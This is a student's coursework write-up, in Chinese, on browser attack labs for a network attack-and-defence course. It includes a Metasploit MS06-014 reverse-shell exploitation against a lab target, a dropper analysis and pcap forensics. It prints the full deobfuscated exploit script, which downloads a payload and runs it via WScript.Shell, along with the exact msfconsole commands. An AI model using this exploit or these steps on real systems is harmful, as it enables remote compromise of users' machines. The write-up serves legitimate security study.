20199136 2019-2020-2 《网络攻防实践》第十二周作业

1. 实践内容


1. Web浏览器的安全威胁


1.1 Web浏览器的技术发展与安全威胁

  • Web浏览器定义

    • 显示网页服务器或文件系统内的文件,并让用户与这些文件进行交互的一种软件。

    • 用户可迅速及轻易地浏览万维网上的各种(文字、图像、视频等)信息与应用。

  • Web浏览器发展

    • 第一次浏览器大战是微软的IE浏览器和网景的竞争,最终以微软通过免费捆绑方式胜出。而Netscape的结局就是解散宣布死亡。

    • 第二次浏览器大战是IE的衰落、Chrome和Firefox的兴起,至今,这二者都占领浏览器的最大市场。

    • 第三次浏览器大战是移动终端上的浏览器之争,各家也在自己的移动设备上捆绑了自己的移动浏览器,目前如Safari、Chrome Lite等百花齐放。

  • 现代浏览器的技术结构

    • 浏览器的抽象分层结构将浏览器分成了个子系统:用户界面(User Interface)、浏览器引擎(Browser Engine)、渲染引擎(Rendering Engine)、网络(Networking)、JavaScript解释器(JavaScript Interpreter)、XML解析器(XML Parser)、显示后端(Display Backend)、数据持久层(Data Persistence)。
  • 软件安全困境三要素:

    • 复杂性:现代浏览器需要支持各种协议、以及各种页面标准等,现在已经非常复杂。

    • 可扩展性:为了拓展需求,各个浏览器都基本支持插件安装。

    • 连通性:browsing anything at anytime in anywhere。

  • 浏览器安全问题的位置

    • 针对网络的网络协议的安全威胁。

    • 针对Web浏览器系统平台的安全威胁。

    • 针对Web浏览器插件、集成的应用程序的安全威胁。

    • 针对互联网用户的社会工程学攻击。

  • Web浏览安全威胁类型

    • 网络钓鱼(Phishing)

    • 恶意木马与流氓软件下载

    • 网页木马-浏览器渗透攻击

    • 不良信息内容


1.2 网页木马-浏览器渗透攻击


  • 网页木马含义

    • Web Infection/Drive-by-downloads

    • 网页感染已成为国内互联网最重要的恶意代码传播形式。

    • 网页木马就是表面上伪装成普通的网页文件或是将恶意的代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马的服务端下载到访问者的电脑上来自动执行。可以参考网页木马制作全过程。

  • 背后驱动的地下经济链

    • 网页木马背后驱动的地下经济链

      • 最重要的支柱: 网络虚拟资产地下经济链。
      • 其他: 点击欺诈/DDoS等。
    • 网络虚拟资产地下经济链

      • 角色: 病毒编写者、黑站长/网站骇客、“信封”盗窃者、 虚拟资产盗窃者、 虚拟资产卖家、玩家。

      • 地下经济链交互市场:地下黑市如百度贴吧等黑客论坛发 布广告,QQ即时通讯软件沟通,支付宝交易。虚拟资产公开市场:淘宝、腾讯拍 拍网等。

  • 网页木马攻击技术流程

    • 多样化的客户端渗透攻击位置和技术类型。

    • 分布式、复杂的微观链接结构。

    • 灵活多变的混淆和对抗分析能力。

  • 网页挂马机制

    • 内嵌HTML标签:最为简单和常见的流量重定向机制:iframe嵌入外部页面链接。

    • 恶意script脚本:利用script标签通过跨站脚本包含网页木马。

    • 内嵌对象:用第三方应用软件或浏览器帮助对象(BHO)的内嵌对象。

    • ARP欺骗挂马:在同一网段内进行中间人攻击。

  • 网页木马感染链

    • 网页木马通常不会直接存在于被挂马页面中。

    • 通过多层嵌套的内嵌链接、跨站脚本等方式构建网马感染链。

  • 网页木马的检测与分析技术

    • 基于特征码匹配的传统检测方法,提取样本特异性。

    • 基于统计与机器学习的静态分析方法,基于语义特征的方式。

    • 基于动态行为结果判定的检测分析方法,采用蜜罐的形式。

    • 基于模拟浏览器环境的动态分析检测方法,基于模拟浏览器来分析网页木马。

  • 网站挂马威胁防范措施

    • 系统软件、应用软件补丁自动更新。

    • 反病毒软件的使用。

    • 安全上网、Google安全建议。

  • 网页木马例子

    • MS06-014安全漏洞机理:MDAC中的RDS.Dataspace ActiveX控件远程代码执行漏洞,没有对通过该控件在宿主上的交互行为进行有效控制。

2.实践过程


2.1 浏览器渗透攻击实践

任务:使用攻击机进行浏览器渗透攻击实践。

环境:攻击机:Kali、靶机:Windows靶机。

  • 选择使用Metasploit中的MS06-014渗透攻击模块。
  • 选择PAYLOAD为任意远程Shell连接。
  • 设置LHOST参数,运行exploit,构造出恶意网页脚本。
  • 在靶机环境中启动浏览器,访问恶意网页脚本URL。
  • 查看建立起的远程控制会话SESSION。

在此选择靶机为Win2KServer,IP地址为192.168.200.125,攻击机为Kali,IP地址为192.168.200.2

  • 在kali中msfconsole打开metasploit,然后就是选择漏洞use exploit/windows/browser/ie_createobject

  • 分别设置靶机和攻击机地址set rhost 192.168.200.125set lhost 192.168.200.2

  • 设置payload为set payload windows/meterpreter/reverse_tcp,并执行run,会给我们一个Local IP,所以这个时候只要当靶机访问这个Local IP的时候,就会有Session建立

  • 下面我们通过靶机的浏览器访问http://192.168.200.2:8080/kuCkhEYc,浏览器会返回一串字符,这个时候我们观察攻击机的行为,发现已经建立起了一个会话,攻击成功。

  • 最后来验证下会话是否有效,我们使用指令sessions -i 1打开会话,然后执行指令,发现执行成功,sessions成功建立。


2.2 网站挂马实践分析

任务:根据给出的说明逐步分析,得到最终的木马文件的内容。

环境:winXP attacker

任务:根据给出的说明逐步分析,得到最终的木马文件的内容。


首先给出这个网站的基本的分析图,以及用了哪些混淆技术。

  • 网页加密方法: www.cha88.cn

  • aa/kl.htm (dispatcher页面)

    • 十六进制编码
    • t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'))
    • Base64编码, xxtea加密(密钥:script), UTF16to8编码
  • 1.js (MS06-014网马)

    • 十六进制编码
  • b.js (暴风影音网马)

    • 老外写的js加解密工具
  • pps.js (PPStream网马)

    • 八进制编码
  • 根据前面的分析结果,我们用IDA Pro打开这个pps.exe,查看其字符串,并根据字符串进行猜测(不完全截图)。我们有以下的猜测

    • 首先这个软件会下载一堆木马文件*.exe

    • 这个程序可能在磁盘根目录下生成自动运行的文件(":\AutoRun.inf","[AutoRun] open=","AutoRun.inf","shell\Auto\command=")

    • 这个程序要对 IE、注册表、服务和系统文件进行操作("advapi32.dll",,"drivers/klif.sys","\program files\internet explorer\IEXPLORE.EXE","IE 执行保护","IEXPLORE.EXE","Software\Microsoft\Windows\CurrentVersion\Poli"),"Kernel32.dll","SOFTWARE\Borland\Delphi\RTL","ChangeServiceConfig2A" , "ChangeServiceConfig2W","QueryServiceConfig2A","QueryServiceConfig2W")

    • 这个程序有一定的防系统保护软件的能力( "允许","允许执行")

  • 下面需要用到一个文件Total Uninstall,亲测32位可用。我们实际运行这个pps.exe看看情况,并用Total Unistall进行监控。我们通过检查注册表和文件,可以发现这个程序做了以下几件事:

    • 在系统文件夹(system32)下创建了一个 serdst.exe 的文件。

    • 安装了一个服务,服务名为Wdswsdewn,显示名为Telephotsgoogle,描述为为即插即用设备提供支持,这个服务启动的就是上面那个 serdst.exe 文件。

    • 删除了当前程序,下载了20个木马文件。这个也可以从上面的字符串分析中得到一些信息。

  • 下面需要用到一个文件Total Uninstall。我们实际运行这个pps.exe看看情况,并用Total Unistall进行监控。我们通过检查注册表和文件,可以发现这个程序做了以下几件事:

    • 在系统文件夹(system32)下创建了一个 serdst.exe 的文件。

    • 安装了一个服务,服务名为Wdswsdewn,显示名为Telephotsgoogle,描述为为即插即用设备提供支持,这个服务启动的就是上面那个 serdst.exe 文件。

    • 删除了当前程序,下载了20个木马文件。这个也可以从上面的字符串分析中得到一些信息。


2.3 Web浏览器渗透攻击对抗实验

  • 攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
  • 防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

  • 在实践一中已经用了一个MS06-014漏洞进行攻击,则给出MS06-014捕获的js代码

  • 通过js反混淆网站https://www.bm8.com.cn/jsConfusion/调整格式再看。

< html>
    < head>
        < title>
            < /title>
                <script language="javascript">
                    function jwnxVgMVVlmT(o, n) {
                        var r = null;
                        try {
                            eval("r=o.CreateObject(n)")
                        } catch (e) {}
                        if (!r) {
                            try {
                                eval("r=o.CreateObject(n,'')")
                            } catch (e) {}
                        }
                        if (!r) {
                            try {
                                eval("r=o.CreateObject(n,'','')")
                            } catch (e) {}
                        }
                        if (!r) {
                            try {
                                eval("r=o.GetObject('',n)")
                            } catch (e) {}
                        }
                        if (!r) {
                            try {
                                eval("r=o.GetObject(n,'')")
                            } catch (e) {}
                        }
                        if (!r) {
                            try {
                                eval("r=o.GetObject(n)")
                            } catch (e) {}
                        }
                        return (r)
                    }
                    function eKXqxEpEOOOxsLSXxJeRxJCn(a) {
                        var s = jwnxVgMVVlmT(a, "WScript.Shell");
                        var o = jwnxVgMVVlmT(a, "ADODB.Stream");
                        var e = s.Environment("Process");
                        var url = document.location + '/payload';
                        var xml = null;
                        var bin = e.Item("TEMP") + "\\MrDqdDEsHwVsvWYbTDp.exe";
                        var dat;
                        try {
                            xml = new XMLHttpRequest()
                        } catch (e) {
                            try {
                                xml = new ActiveXObject("Microsoft.XMLHTTP")
                            } catch (e) {
                                xml = new ActiveXObject("MSXML2.ServerXMLHTTP")
                            }
                        }
                        if (!xml) {
                            return (0)
                        }
                        xml.open("GET", url, false);
                        xml.send(null);
                        dat = xml.responseBody;
                        o.Type = 1;
                        o.Mode = 3;
                        o.Open();
                        o.Write(dat);
                        o.SaveToFile(bin, 2);
                        s.Run(bin, 0)
                    }
                    function XlQTpSAsmOEMwLPxUVPUgMKrlrBR() {
                        var i = 0;
                        var t = new Array(' {
    BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
}
', ' {
    BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30
}
', ' {
    7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
}
', ' {
    6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
}
', ' {
    6414512B - B978 - 451D - A0D8 - FCFDF33E833C
}
', ' {
    06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
}
', ' {
    639F725F - 1B2D - 4831 - A9FD - 874847682010
}
', ' {
    BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8
}
', ' {
    D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19
}
', ' {
    E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B
}
', ' {
    AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116
}
', ' {
    0006F033 - 0000 - 0000 - C000 - 000000000046
}
', ' {
    0006F03A - 0000 - 0000 - C000 - 000000000046
}
', null);
                        while (t[i]) {
                            var a = null;
                            if (t[i].substring(0, 1) == ' {
    ') {
                                a = document.createElement("object");
                                a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1))
                            } else {
                                try {
                                    a = new ActiveXObject(t[i])
                                } catch (e) {}
                            }
                            if (a) {
                                try {
                                    var b = jwnxVgMVVlmT(a, "WScript.Shell");
                                    if (b) {
                                        eKXqxEpEOOOxsLSXxJeRxJCn(a);
                                        return (0)
                                    }
                                } catch (e) {}
                            }
                            i++
                        }
                    }
                </script>
                </head>
                
                <body onload='
                XlQTpSAsmOEMwLPxUVPUgMKrlrBR()
                '>
                    BcnGzcfhpOowOiNb
                </body>            
                </html>


2.4 Web浏览器遭遇攻击、取证分析

任务:通过分析给的网络记录文件,回答下列问题:

列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?

  • 列出IP地址、主机名、域名,猜测攻击场景的环境配置。
  • 列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?
  • 请给出攻击者执行攻击动作的概要描述。
  • 攻击者引入了哪些技巧带来了困难。
  • 攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
  • shellcode执行了哪些操作?比较他们之间MD5的差异?
  • 在攻击场景中有二进制可执行代码参与吗?目的是什么?

  • 首先我们利用chaosreader读取文件suspicious-time.pcap,发现了有HTTP、ICMP、Bootps、Netbios、DNS的应用层协议,只有HTTP有攻击的嫌疑,并且通过Wireshark打开追踪HTTP流还会发现sploitme关键字段。

  • 然后用以下指令来查看有哪些ip地址和域名咋进行攻击。这个指令就是选取http.html文件读取,讲主机列出来。

for i in session_00[0-9]*.http.html; do srcip=cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1; dstip=cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1; host=cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'; echo "$srcip --> $dstip = $host"; done | sort -u

  • 分析得出受害者为10.0.2.15 10.0.3.15 10.0.4.15 10.0.5.15

  • 然后使用命令tshark -r suspicious-time.pcap | grep 'NB.*1e\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$10}' | sort -u

  • 发现四个相同的主机名,猜测攻击场景环境应该是在虚拟机中,因为有较多的网卡

  • 然后打开session_0006.part_01.html,猜测这应该是个钓鱼网站,对应的应该是之前的rapidshare.com.eyu32.ru。

  • 然后找session_0007.part_02.html,对应的是sploitme.com.cn。发现已经404了。

  • 然后再找shop.honeynet.sg/catalog/对应的文件session_0032.part_01.html

  • 攻击者动作的描述:攻击者把恶意js代码注入指向sploitme.com.cn/?click=x,当受害者访问这些页面的时候,重定向到伪装的404页面。下载了一些可执行文件,连接到honey.org。

  • 有哪些防分析方法:

    • 被黑的网页包含javascript代码

    • 恶意页面伪装成看起来像404页面。

    • 发送给受害者的漏洞利用程序取决于受害者使用的浏览器,这使得确定漏洞利用者变得更加困难。

    • 该漏洞利用程序不允许同一客户端访问两次。 在数据包366中,show.php可能不会尝试两次通过识别IP来利用同一客户端,因此成功访问同一页面将为客户端提供一个干净的404页面。

3.学习中遇到的问题

问题1:实验二安装PPS.EXE无反应,或者软件TU无法探测到信息。。
解决方法:未能解决
问题2:

4.学习感悟

除了实验一,其他的都一脸懵逼。实验过程从头抄到尾

posted @ 2020-05-20 15:12  考完了改名了  阅读(249)  评论(0编辑  收藏  举报